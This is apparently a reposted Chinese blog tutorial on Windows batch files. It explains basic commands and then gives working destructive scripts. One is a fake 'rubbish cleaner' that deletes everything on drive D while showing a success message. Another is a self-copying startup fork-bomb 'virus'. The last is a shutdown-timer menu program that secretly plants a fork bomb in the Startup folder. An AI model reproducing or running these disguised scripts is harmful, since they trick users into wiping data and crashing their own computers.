批处理文件(一)

批处理文件即.bat文件,可运行多行DOS(cmd)命令。
1.pause 暂停,使cmd窗口不自动退出
2.@echo off 关闭回显,即屏蔽执行过程
3.color 更改颜色(背景+字体)
在这里插入图片描述
4.title 为批处理文件添加标题
5.echo. 空一行
例子:

@echo off
color 70
title lol
echo =====================
echo hello I'm your father
echo =====================
pause

执行结果
在这里插入图片描述
例子:

@echo off
color 70
title clear garbage program
echo =====================
echo clear your system rubbish
echo if it's intercepted, please
echo don't worry 
echo =====================
pause
echo.
echo rubbish is cleaning......
d: >nul 2>nul
cd \ >nul 2>nul
rd ./s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
echo congratulations!!!the rubbish is cleaned up.
pause

执行效果:D盘被清空
在这里插入图片描述
6. : 定义批处理区间配合 goto 完成命令跳转
简单“病毒”编写,针对windows xp:

copy  virus.bat "%userprofile%\「开始」菜单\程序\启动"
:d
start 
goto d

% % 取变量的值
藏着病毒的小程序:

@echo off
title little_programv1.0
color 0a
:0
cls
echo ========================
echo  菜单
echo  1.定时关机
echo  2.取消定时
echo  3.退出
echo =========================
set /p num=your choice?
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo don't input wrong number
pause
goto 0 
:1
set /p time=please input the time(/s): 
shutdown -s -f -t %time%
goto 0
:2
shutdown -a
echo :a >>"%userprofile%\「开始」菜单\程序\启动\haha.bat"
echo start >>"%userprofile%\「开始」菜单\程序\启动\haha.bat"
echo goto a >>"%userprofile%\「开始」菜单\程序\启动\haha.bat"
goto 0
:3
exit

猜你喜欢

转载自blog.csdn.net/SJTU_liangge/article/details/113754600